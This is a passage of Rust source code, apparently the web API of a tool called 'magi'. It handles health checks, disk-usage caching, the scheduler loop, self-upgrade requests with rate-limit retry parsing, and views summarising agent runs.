2746 for entry in std::fs::read_dir(dir).ok()? {
2747 let entry = entry.ok()?;
2748 let metadata = entry.metadata().ok()?;
2749 if metadata.is_dir() {
2750 stack.push(entry.path());
2751 } else if metadata.is_file() {
2752 total += metadata.len();
2753 }
2754 }
2755 }
2756 Some(total)
2757}
2758
2759#[derive(Debug, Default)]
2760struct DiskObservation {
2761 scope: Option<DiskScope>,
2762 capacity: DiskCapacity,
2763 in_flight: bool,
2764 finished: Option<std::time::Instant>,
2765}
2766
2767impl DiskObservation {
2768 fn observe(
2769 state: &Arc<Mutex<Self>>,
2770 scope: DiskScope,
2771 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2772 ) -> DiskCapacity {
2773 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2774 if observation.scope.as_ref() != Some(&scope) {
2775 observation.scope = Some(scope.clone());
2776 observation.capacity = DiskCapacity::default();
2777 observation.finished = None;
2778 }
2779 let capacity = observation.capacity;
2780 if observation.in_flight
2781 || observation
2782 .finished
2783 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2784 {
2785 return capacity;
2786 }
2787 observation.in_flight = true;
2788 drop(observation);
2789
2790 let refresh = DiskRefresh {
2791 state: Arc::clone(state),
2792 scope,
2793 };
2794 tokio::task::spawn_blocking(move || {
2795 let next = measure(&refresh.scope);
2796 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2797 if observation.scope.as_ref() == Some(&refresh.scope) {
2798 observation.capacity.retain_successes(next);
2799 }
2800 drop(observation);
2801 drop(refresh);
2804 });
2805 capacity
2806 }
2807}
2808
2809struct DiskRefresh {
2810 state: Arc<Mutex<DiskObservation>>,
2811 scope: DiskScope,
2812}
2813
2814impl Drop for DiskRefresh {
2815 fn drop(&mut self) {
2816 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2817 observation.in_flight = false;
2818 if observation.scope.as_ref() == Some(&self.scope) {
2819 observation.finished = Some(std::time::Instant::now());
2821 }
2822 }
2823}
2824
2825impl DiskView {
2826 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2828 let capacity = DiskObservation::observe(
2829 &ui.monitor.disk,
2830 DiskScope::of(ui, cfg),
2831 DiskCapacity::measure,
2832 );
2833 Self::with_capacity(ui, capacity)
2834 }
2835
2836 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2837 Self {
2838 free_bytes: crate::disk::free_bytes(&ui.runs)
2839 .ok()
2840 .or(capacity.free_bytes),
2841 runs_bytes: capacity.runs_bytes,
2842 worktrees_bytes: capacity.worktrees_bytes,
2843 cache_bytes: capacity.cache_bytes,
2844 retention: ui
2845 .runs
2846 .parent()
2847 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2848 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2849 }
2850 }
2851}
2852
2853#[derive(Debug, Serialize)]
2855struct DaemonView {
2856 running: bool,
2857 idle: Option<bool>,
2858 pid: Option<u32>,
2859 current: Vec<daemon::Current>,
2863 completed: Option<u64>,
2864 stale_for_secs: Option<i64>,
2865}
2866
2867impl DaemonView {
2868 fn of(status: Option<daemon::Reading>) -> Self {
2872 let Some(status) = status else {
2873 return Self {
2874 running: false,
2875 idle: None,
2876 pid: None,
2877 current: Vec::new(),
2878 completed: None,
2879 stale_for_secs: None,
2880 };
2881 };
2882 let now = Timestamp::now();
2883 let age = status.age_secs(now);
2884 Self {
2885 running: status.running(now),
2886 idle: Some(status.idle),
2887 pid: status.pid,
2888 current: status.current,
2889 completed: Some(status.completed),
2890 stale_for_secs: age,
2891 }
2892 }
2893}
2894
2895fn refresh_health_config(ui: &Arc<Ui>) {
2898 let mut cache = ui
2899 .monitor
2900 .disk_cache
2901 .lock()
2902 .unwrap_or_else(PoisonError::into_inner);
2903 if cache.loading
2904 || cache
2905 .measured
2906 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
2907 {
2908 return;
2909 }
2910 cache.loading = true;
2911 let weak = Arc::downgrade(ui);
2912 std::thread::spawn(move || {
2913 let Some(ui) = weak.upgrade() else { return };
2914 let cfg = deputy_config(&ui.repo);
2915 let update = cached_update_view(cfg.as_ref());
2916 let mut cache = ui
2917 .monitor
2918 .disk_cache
2919 .lock()
2920 .unwrap_or_else(PoisonError::into_inner);
2921 cache.config = cfg;
2922 cache.update = Some(update);
2923 cache.measured = Some(std::time::Instant::now());
2924 cache.loading = false;
2925 });
2926}
2927
2928fn health_counts(
2929 ui: &Ui,
2930 fallback_questions_rev: u64,
2931) -> ApiResult<(usize, usize, usize, u64, usize)> {
2932 let mut index = ui
2933 .monitor
2934 .health_index
2935 .lock()
2936 .unwrap_or_else(PoisonError::into_inner);
2937 let ids = run_ids(&ui.runs);
2938 let seen: HashSet<_> = ids.iter().cloned().collect();
2939 index.runs.retain(|id, _| seen.contains(id));
2940 let mut unreadable = 0;
2941 for id in ids {
2942 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
2945 let bad = match identity {
2946 Ok(identity) => {
2947 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
2948 let bad = read_run(&ui.runs, &id).is_err();
2949 index.runs.insert(id.clone(), (identity, bad));
2950 #[cfg(test)]
2951 {
2952 index.run_parses += 1;
2953 }
2954 }
2955 index.runs[&id].1
2956 }
2957 Err(_) => true,
2958 };
2959 unreadable += usize::from(bad);
2960 }
2961 let questions_rev = try_stamps(ui.questions.root(), false, true)
2962 .map(|stamps| stamps_revision(&stamps))
2963 .unwrap_or(fallback_questions_rev);
2964 if index.questions.as_ref().is_none_or(|counts| {
2965 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
2966 }) {
2967 let questions = ui.questions.list();
2968 index.questions = Some(QuestionCounts {
2969 revision: questions_rev,
2970 measured: std::time::Instant::now(),
2971 open: questions.iter().filter(|q| q.status.open()).count(),
2972 owner: questions
2973 .iter()
2974 .filter(|q| {
2975 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2976 })
2977 .count(),
2978 });
2979 }
2980 let notifications_rev =
2981 stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
2982 if index
2983 .notices
2984 .is_none_or(|(rev, _)| rev != notifications_rev)
2985 {
2986 index.notices = Some((notifications_rev, ui.notices.count_unread()));
2987 }
2988 let questions = index.questions.as_ref().unwrap();
2989 Ok((
2990 unreadable,
2991 questions.open,
2992 questions.owner,
2993 notifications_rev,
2994 index.notices.unwrap().1,
2995 ))
2996}
2997
2998async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2999 let revisions = ui.monitor.revisions(&ui).await?;
3000 refresh_health_config(&ui);
3001 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3002 let reading = daemon::read_status(&ui.home);
3006 let loop_rev = ui.lock_loop().rev;
3010 let (
3011 runs_unreadable,
3012 questions_open,
3013 questions_needs_owner,
3014 notifications_rev,
3015 notifications_unread,
3016 ) = health_counts(&ui, revisions.2)?;
3017 let ((cfg, config_observed, sizes, measured), update) = {
3018 let cache = ui
3019 .monitor
3020 .disk_cache
3021 .lock()
3022 .unwrap_or_else(PoisonError::into_inner);
3023 (
3024 (
3025 cache.config.clone(),
3026 cache.measured.is_some(),
3027 cache.disk.clone(),
3028 cache.measured,
3029 ),
3030 cache.update.clone().unwrap_or(UpdateView {
3031 available: false,
3032 to: None,
3033 }),
3034 )
3035 };
3036 let prior_capacity = {
3040 let mut observation = ui
3041 .monitor
3042 .disk
3043 .lock()
3044 .unwrap_or_else(PoisonError::into_inner);
3045 if observation.scope.is_none()
3048 && let Some(sizes) = sizes
3049 {
3050 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3051 observation.capacity = DiskCapacity {
3052 runs_bytes: Some(sizes.runs),
3053 worktrees_bytes: Some(sizes.worktrees),
3054 cache_bytes: sizes.cache,
3055 free_bytes: None,
3056 };
3057 observation.finished = measured;
3058 }
3059 observation.scope.as_ref().map(|_| observation.capacity)
3060 };
3061 let disk = if config_observed {
3062 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3063 } else {
3064 serde_json::to_value(DiskView::with_capacity(
3065 &ui,
3066 prior_capacity.unwrap_or_default(),
3067 ))
3068 .ok()
3069 };
3070 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3071 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3072 #[cfg(not(test))]
3073 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3074 #[cfg(test)]
3075 let looping = ui.loop_view(reading.clone());
3076 Ok(Json(HealthView {
3077 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3078 version: env!("CARGO_PKG_VERSION"),
3079 home: ui.home.display().to_string(),
3080 queue_rev: revisions.0,
3081 runs_rev: revisions.1,
3082 questions_rev: revisions.2,
3083 talks_rev: revisions.3,
3084 notifications_rev,
3085 notifications_unread,
3086 loop_rev,
3087 runs_unreadable,
3088 questions_open,
3089 questions_needs_owner,
3090 daemon: DaemonView::of(reading.clone()),
3091 looping,
3092 disk,
3093 update,
3094 upgrade,
3095 upgrade_request_error: ui
3096 .upgrade_request_error
3097 .lock()
3098 .unwrap_or_else(PoisonError::into_inner)
3099 .clone(),
3100 }))
3101 })
3102 .await
3103}
3104
3105#[derive(Debug, Serialize)]
3107struct LoopView {
3108 running: bool,
3110 stopping: bool,
3112 parking: bool,
3114 owned: bool,
3116 repo: String,
3119 merge: Option<String>,
3122 last_error: Option<String>,
3130 daemon: DaemonView,
3133}
3134
3135#[derive(Debug, Clone, Copy)]
3140struct Foreign {
3141 pid: Option<u32>,
3143}
3144
3145impl Foreign {
3146 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3149 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3153 return None;
3154 }
3155 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3156 }
3157
3158 fn who(&self) -> String {
3161 match self.pid {
3162 Some(pid) => format!("another magi process (pid {pid})"),
3163 None => "another magi process".to_owned(),
3164 }
3165 }
3166}
3167
3168type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3173
3174#[cfg(test)]
3175type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3176
3177#[cfg(test)]
3179fn launch_daemon(
3180 opts: daemon::Opts,
3181 stop: daemon::Stop,
3182) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3183 Box::pin(daemon::serve_until(opts, stop))
3184}
3185
3186#[derive(Debug, Default)]
3188struct LoopState {
3189 #[cfg(test)]
3191 live: Option<Live>,
3192 rev: u64,
3195 last_error: Option<String>,
3198}
3199
3200#[cfg(test)]
3202#[derive(Debug)]
3203struct Live {
3204 stop: daemon::Stop,
3206 handle: tokio::task::JoinHandle<()>,
3211 opts: daemon::Opts,
3215}
3216
3217#[cfg(test)]
3218impl Live {
3219 fn alive(&self) -> bool {
3221 !self.handle.is_finished()
3222 }
3223}
3224
3225fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3232 state.lock().unwrap_or_else(PoisonError::into_inner)
3233}
3234
3235async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3237 blocking(move || {
3238 let reading = daemon::read_status(&ui.home);
3239 #[cfg(not(test))]
3240 let view = ui.try_loop_view(reading)?;
3241 #[cfg(test)]
3242 let view = ui.loop_view(reading);
3243 Ok(Json(view))
3244 })
3245 .await
3246}
3247
3248#[derive(Debug, Deserialize)]
3254#[serde(deny_unknown_fields)]
3255struct LoopCommand {
3256 running: bool,
3257 #[serde(default)]
3267 park: bool,
3268}
3269
3270async fn loop_post(
3273 State(ui): State<Arc<Ui>>,
3274 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3275) -> ApiResult<Json<LoopView>> {
3276 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3279 #[cfg(not(test))]
3280 {
3281 if body.running {
3282 ui.start_detached_loop().await?;
3283 } else {
3284 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3285 ui.stop_loop(foreign, body.park)?;
3286 }
3287 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3288 }
3289 #[cfg(test)]
3290 {
3291 blocking(move || {
3292 let reading = daemon::read_status(&ui.home);
3293 let foreign = Foreign::of(reading.as_ref());
3294 if body.running {
3295 ui.start_loop(foreign)?;
3296 } else {
3297 ui.stop_loop(foreign, body.park)?;
3298 }
3299 Ok(Json(ui.loop_view(reading)))
3300 })
3301 .await
3302 }
3303}
3304
3305#[derive(Debug, Serialize)]
3307struct UpgradeView {
3308 from: String,
3310 to: Option<String>,
3312 detail: String,
3314}
3315
3316fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3319 progress.filter(|p| !p.stage.terminal())
3320}
3321
3322fn upgrade_retry_after(message: &str) -> Option<u64> {
3325 if !message.contains("GitHub") || !message.contains("rate limit") {
3326 return None;
3327 }
3328 if message.contains("retry now") {
3329 return Some(0);
3330 }
3331 let duration = message
3332 .split_once("resets in ")
3333 .or_else(|| message.split_once("retry after "))?
3334 .1
3335 .split_once(')')?
3336 .0;
3337 let mut rest = duration.trim();
3338 if rest.is_empty() {
3339 return None;
3340 }
3341 let mut total = 0u64;
3342 while !rest.is_empty() {
3343 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3344 let amount: u64 = rest[..n].parse().ok()?;
3345 let scale = match rest[n..].chars().next()? {
3346 's' => 1,
3347 'm' => 60,
3348 'h' => 3600,
3349 'd' => 86400,
3350 _ => return None,
3351 };
3352 total = total.checked_add(amount.checked_mul(scale)?)?;
3353 rest = rest[n + 1..].trim_start();
3354 }
3355 Some(total)
3356}
3357
3358#[derive(Debug, Clone, Serialize)]
3359struct UpgradeRequestFailure {
3360 occurred_at: String,
3361 error: String,
3362 retry_after_secs: Option<u64>,
3363 retry_at: Option<u64>,
3365}
3366
3367impl UpgradeRequestFailure {
3368 fn new(error: String) -> Self {
3369 let retry_after_secs = upgrade_retry_after(&error);
3370 let now = std::time::SystemTime::now()
3371 .duration_since(std::time::UNIX_EPOCH)
3372 .unwrap_or_default()
3373 .as_secs();
3374 Self {
3375 occurred_at: jiff::Timestamp::now().to_string(),
3376 error,
3377 retry_after_secs,
3378 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3379 }
3380 }
3381}
3382
3383async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3396 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3397}
3398
3399async fn begin_upgrade(
3400 ui: &Arc<Ui>,
3401 trigger: updater::UpgradeTrigger,
3402 latest: Option<kaishin::LatestRelease>,
3403) -> Response {
3404 let reading = daemon::read_status(&ui.home);
3405 if let Some(other) = Foreign::of(reading.as_ref()) {
3406 return ApiError::conflict(format!(
3407 "{} is a legacy scheduler without detached restart support. \
3408 Finish or explicitly park its work in the existing UI before \
3409 this first migration; independent schedulers do not need this.",
3410 other.who()
3411 ))
3412 .into_response();
3413 }
3414
3415 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3420 return ApiError::conflict("another request is already preparing an upgrade")
3421 .into_response();
3422 };
3423 if trigger == updater::UpgradeTrigger::Auto {
3426 let cfg = match Config::discover(&ui.repo, None) {
3427 Ok((cfg, _)) => cfg,
3428 Err(e) => {
3429 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3430 }
3431 };
3432 let Some(latest) = latest else {
3433 return StatusCode::NO_CONTENT.into_response();
3434 };
3435 let busy = ui.auto_upgrade_busy();
3436 let failed = ui
3437 .auto_failed_tag
3438 .lock()
3439 .unwrap_or_else(PoisonError::into_inner)
3440 .clone();
3441 let decision = auto_upgrade_decision(
3442 &cfg.update,
3443 updater::disabled_by_env(),
3444 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3445 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3446 busy,
3447 &latest.tag_name,
3448 failed.as_deref(),
3449 );
3450 if decision != AutoUpgradeDecision::Trigger {
3451 let reason = match decision {
3452 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3453 AutoUpgradeDecision::Skip(reason) => reason,
3454 AutoUpgradeDecision::Trigger => unreachable!(),
3455 };
3456 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3457 return StatusCode::NO_CONTENT.into_response();
3458 }
3459 ui.upgrade_spawned
3463 .store(true, std::sync::atomic::Ordering::SeqCst);
3464 if ui.auto_upgrade_busy() {
3465 ui.upgrade_spawned
3466 .store(false, std::sync::atomic::Ordering::SeqCst);
3467 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3468 return StatusCode::NO_CONTENT.into_response();
3469 }
3470 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3471 return finish_upgrade_request(
3472 ui,
3473 upgrade_checked_for(
3474 ui,
3475 env!("CARGO_PKG_VERSION").into(),
3476 Ok(Some(latest)),
3477 trigger,
3478 ),
3479 );
3480 }
3481 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3482}
3483
3484fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3485 match result {
3486 Ok(out) => {
3487 *ui.upgrade_request_error
3488 .lock()
3489 .unwrap_or_else(PoisonError::into_inner) = None;
3490 out.into_response()
3491 }
3492 Err(error) if error.status != StatusCode::CONFLICT => {
3493 let failure = UpgradeRequestFailure::new(error.message);
3494 *ui.upgrade_request_error
3495 .lock()
3496 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3497 let mut response = (error.status, Json(&failure)).into_response();
3498 if let Some(value) = failure
3499 .retry_after_secs
3500 .and_then(|secs| secs.to_string().parse().ok())
3501 {
3502 response.headers_mut().insert("retry-after", value);
3503 }
3504 response
3505 }
3506 Err(error) => error.into_response(),
3507 }
3508}
3509
3510async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3511 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3512 return Err(ApiError::conflict(
3513 "an upgrade is already in progress (this process started one and it \
3514 has not finished or failed yet)",
3515 ));
3516 }
3517 let recorded = updater::read_progress(&ui.home);
3518 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3519 return Err(ApiError::conflict(format!(
3520 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3521 stays stuck, restart the deck; on start it settles a stale record.",
3522 p.stage.as_str(),
3523 p.from,
3524 p.to.as_deref().unwrap_or("?"),
3525 )));
3526 }
3527
3528 if crate::updater::disabled_by_env() {
3534 return Ok((
3535 StatusCode::OK,
3536 Json(UpgradeView {
3537 from: env!("CARGO_PKG_VERSION").to_owned(),
3538 to: None,
3539 detail: format!(
3540 "Automatic updates are disabled by {}. Nothing was parked \
3541 and nothing restarted.",
3542 crate::updater::NO_AUTOUPDATE_ENV
3543 ),
3544 }),
3545 ));
3546 }
3547
3548 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3551 let from = env!("CARGO_PKG_VERSION").to_owned();
3552 let latest = match crate::updater::Checker::new(&cfg.update) {
3553 Some(checker) => checker.newer_release().await,
3554 None => Ok(None),
3555 };
3556 upgrade_checked(ui, from, latest)
3557}
3558
3559fn upgrade_checked(
3560 ui: &Arc<Ui>,
3561 from: String,
3562 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3563) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3564 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3565}
3566
3567fn upgrade_checked_for(
3568 ui: &Arc<Ui>,
3569 from: String,
3570 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3571 trigger: updater::UpgradeTrigger,
3572) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3573 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3574 let Some(latest) = latest else {
3575 return Ok((
3576 StatusCode::OK,
3577 Json(UpgradeView {
3578 from,
3579 to: None,
3580 detail: "Already on the newest release. Nothing was parked \
3581 and nothing restarted."
3582 .to_owned(),
3583 }),
3584 ));
3585 };
3586
3587 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3588
3589 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3593 progress.trigger = trigger;
3594 updater::write_progress_logged(&ui.home, &progress);
3595
3596 let home = ui.home.clone();
3597 ui.upgrade_spawned
3598 .store(true, std::sync::atomic::Ordering::SeqCst);
3599 let spawned = Arc::clone(&ui.upgrade_spawned);
3600 let runner = ui.upgrade_runner;
3601 let failed = ui.auto_failed_tag.clone();
3602 let tag = latest.tag_name.clone();
3603 tokio::spawn(async move {
3604 if let Err(e) = runner(home.clone()).await {
3605 if trigger == updater::UpgradeTrigger::Auto {
3606 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3607 }
3608 tracing::error!("the upgrade did not complete: {e:#}");
3609 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3613 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3615 }
3616 });
3617
3618 Ok((
3619 StatusCode::ACCEPTED,
3620 Json(UpgradeView {
3621 from,
3622 to: Some(latest.tag_name),
3623 detail,
3624 }),
3625 ))
3626}
3627
3628async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3633 crate::updater::run_self_update(true, false, true).await?;
3636 updater::log_step(&home, "binary replaced - recording the replaced stage");
3637 if let Some(mut progress) = updater::read_progress(&home) {
3638 progress.advance(updater::Stage::Replaced);
3639 updater::write_progress_logged(&home, &progress);
3640 }
3641 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3642 HANDOVER.notify_one();
3643 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3644 Ok(())
3645}
3646
3647#[derive(Debug, Serialize)]
3653struct RunSummary {
3654 id: String,
3655 short: String,
3656 status: String,
3657 done: bool,
3658 instruction: String,
3659 title: String,
3660 repo: String,
3661 repo_name: String,
3662 created_at: String,
3663 updated_at: String,
3664 candidates: usize,
3665 viable: usize,
3666 judges: usize,
3667 winner: Option<char>,
3668 reviews: usize,
3669 quota_losses: usize,
3670 event: Option<String>,
3671 superseded_by: Option<String>,
3676 waiting: bool,
3683 live: crate::run::Liveness,
3687 pr: Option<crate::run::PrRecord>,
3689 unmerged_by_design: bool,
3695 #[serde(default)]
3698 display_status: String,
3699 #[serde(default)]
3702 badge_status: String,
3703 origin_label: String,
3706}
3707
3708impl RunSummary {
3709 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3710 Self {
3711 id: state.id.clone(),
3712 short: state.short().to_owned(),
3713 status: status_word(state.status),
3714 done: state.status.done(),
3715 unmerged_by_design: state.unmerged_by_design(),
3716 display_status: run_display_status(state, waiting, live),
3717 badge_status: run_display_status(state, waiting, live),
3718 instruction: state.instruction.clone(),
3719 title: title_from(&state.instruction, TITLE_MAX),
3720 repo: state.repo.display().to_string(),
3721 repo_name: state
3722 .repo
3723 .file_name()
3724 .map(|n| n.to_string_lossy().into_owned())
3725 .unwrap_or_default(),
3726 created_at: state.created_at.to_string(),
3727 updated_at: state.updated_at.to_string(),
3728 candidates: state.candidates.len(),
3729 viable: state.viable().len(),
3730 judges: state.config.graph.judges,
3731 winner: state.winner().map(|c| c.label),
3732 reviews: state.reviews.len(),
3733 quota_losses: state.quota.len(),
3734 event: state.events.last().map(|e| e.message.clone()),
3735 waiting,
3736 live,
3737 superseded_by: None,
3740 pr: state.pr.clone(),
3741 origin_label: crate::run::origin_label(state.origin.as_ref()),
3742 }
3743 }
3744}
3745
3746fn status_word(status: RunStatus) -> String {
3749 status.as_str().to_owned()
3753}
3754
3755fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3761 if waiting {
3762 return "waiting".to_owned();
3763 }
3764 if state.unmerged_by_design() {
3765 return "unmerged".to_owned();
3766 }
3767 if !state.status.done() && live == crate::run::Liveness::Dead {
3768 if state.parked {
3771 return "parked".to_owned();
3772 }
3773 return "stale".to_owned();
3774 }
3775 status_word(state.status)
3776}
3777
3778fn run_badge_status(
3786 state: &RunState,
3787 display_status: &str,
3788 live: crate::run::Liveness,
3789 superseded: bool,
3790) -> String {
3791 if state.status.done() || live == crate::run::Liveness::Live {
3792 return display_status.to_owned();
3793 }
3794 if superseded {
3795 return "superseded".to_owned();
3796 }
3797 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3801 return "stale".to_owned();
3802 }
3803 display_status.to_owned()
3804}
3805
3806#[derive(Debug, Deserialize)]
3808struct ListQuery {
3809 #[serde(default)]
3810 limit: Option<usize>,
3811 ids: Option<String>,
3813}
3814
3815impl ListQuery {
3816 fn contains(&self, id: &str) -> bool {
3817 self.ids
3818 .as_ref()
3819 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3820 }
3821}
3822
3823async fn runs_list(
3824 State(ui): State<Arc<Ui>>,
3825 Query(q): Query<ListQuery>,
3826) -> ApiResult<Json<Vec<RunSummary>>> {
3827 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3828 blocking(move || {
3829 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3830 let states = run_ids(&ui.runs)
3831 .into_iter()
3832 .filter_map(|id| read_run(&ui.runs, &id).ok())
3837 .take(limit)
3838 .filter(|run| q.contains(&run.id));
3839 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3840 let summaries = summarize(
3841 states,
3842 &open_runs,
3843 &claimed,
3844 &superseded,
3845 |p| probe.borrow_mut().status(p),
3846 |p| probe.borrow_mut().started_at(p),
3847 );
3848 Ok(Json(summaries))
3849 })
3850 .await
3851}
3852
3853fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3858 let open_runs: HashSet<String> = ui
3859 .questions
3860 .list()
3861 .into_iter()
3862 .filter(|q| q.status.open())
3863 .map(|q| q.run)
3864 .collect();
3865 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3866 .into_iter()
3867 .map(|c| c.run)
3868 .collect();
3869 (open_runs, claimed, ui.queue.superseded())
3870}
3871
3872fn summarize<I, S, D>(
3878 states: I,
3879 open_runs: &HashSet<String>,
3880 claimed: &HashSet<String>,
3881 superseded: &HashMap<String, String>,
3882 mut status_q: S,
3883 mut identity_q: D,
3884) -> Vec<RunSummary>
3885where
3886 I: IntoIterator<Item = RunState>,
3887 S: FnMut(u32) -> Option<bool>,
3888 D: FnMut(u32) -> Option<String>,
3889{
3890 states
3891 .into_iter()
3892 .map(|state| {
3893 let waiting = open_runs.contains(&state.id);
3894 let live =
3895 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3896 let mut row = RunSummary::of(&state, waiting, live);
3897 row.superseded_by = state
3898 .pr_taken_over_by
3899 .as_ref()
3900 .or_else(|| superseded.get(&state.id))
3901 .map(String::as_str)
3902 .map(crate::run::short_of)
3903 .map(str::to_owned);
3904 row.badge_status = run_badge_status(
3905 &state,
3906 &row.display_status,
3907 live,
3908 row.superseded_by.is_some(),
3909 );
3910 row
3911 })
3912 .collect()
3913}
3914
3915#[derive(Debug, Serialize)]
3922struct RunDetailView {
3923 stop_reason: Option<String>,
3924 #[serde(flatten)]
3925 state: RunState,
3926 instruction_md: Vec<md::Node>,
3927 #[serde(flatten)]
3931 prose_md: RunProseMd,
3932 live: crate::run::Liveness,
3947 unmerged_by_design: bool,
3952 #[serde(default)]
3954 waiting: bool,
3955 #[serde(default)]
3957 display_status: String,
3958 #[serde(default)]
3960 badge_status: String,
3961 done: bool,
3966 superseded_by: Option<String>,
3974 latest_attempt: Option<LatestAttempt>,
3988 task: Option<TaskRef>,
3991 origin_label: String,
3995 pass_views: Vec<PassView>,
3998}
3999
4000#[derive(Debug, Serialize)]
4002struct TaskRef {
4003 id: String,
4004 short: String,
4005 title: String,
4006 source_label: String,
4008 source_link: Option<SourceLink>,
4010 status: &'static str,
4012 attempts: usize,
4013 max_attempts: usize,
4014 is_latest: bool,
4016 latest: Option<RunBrief>,
4018 finished_by: Option<RunBrief>,
4020 closed_by_hand: bool,
4022}
4023
4024#[derive(Debug, PartialEq, Eq, Serialize)]
4026struct SourceLink {
4027 kind: &'static str,
4029 id: String,
4031 href: String,
4033}
4034
4035fn encode_segment(raw: &str) -> String {
4037 let mut out = String::with_capacity(raw.len());
4038 for b in raw.bytes() {
4039 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4040 out.push(b as char);
4041 } else {
4042 out.push_str(&format!("%{b:02X}"));
4043 }
4044 }
4045 out
4046}
4047
4048fn source_link(source: &Source) -> Option<SourceLink> {
4052 let Source::Agent { run, node } = source else {
4053 return None;
4054 };
4055 let (kind, route) = if node == crate::queue::CHAT_NODE {
4056 ("chat", "chat")
4057 } else {
4058 ("run", "runs")
4059 };
4060 Some(SourceLink {
4061 kind,
4062 id: run.clone(),
4063 href: id_links::page_href(route, run),
4064 })
4065}
4066
4067#[derive(Debug, Serialize, PartialEq)]
4069struct FollowUpParent {
4070 id: String,
4071 short: String,
4072 title: String,
4073 status: &'static str,
4075 href: String,
4076}
4077
4078#[derive(Debug, Serialize, PartialEq)]
4080struct FollowUpRun {
4081 id: String,
4082 short: String,
4083 status: Option<&'static str>,
4085 href: Option<String>,
4087}
4088
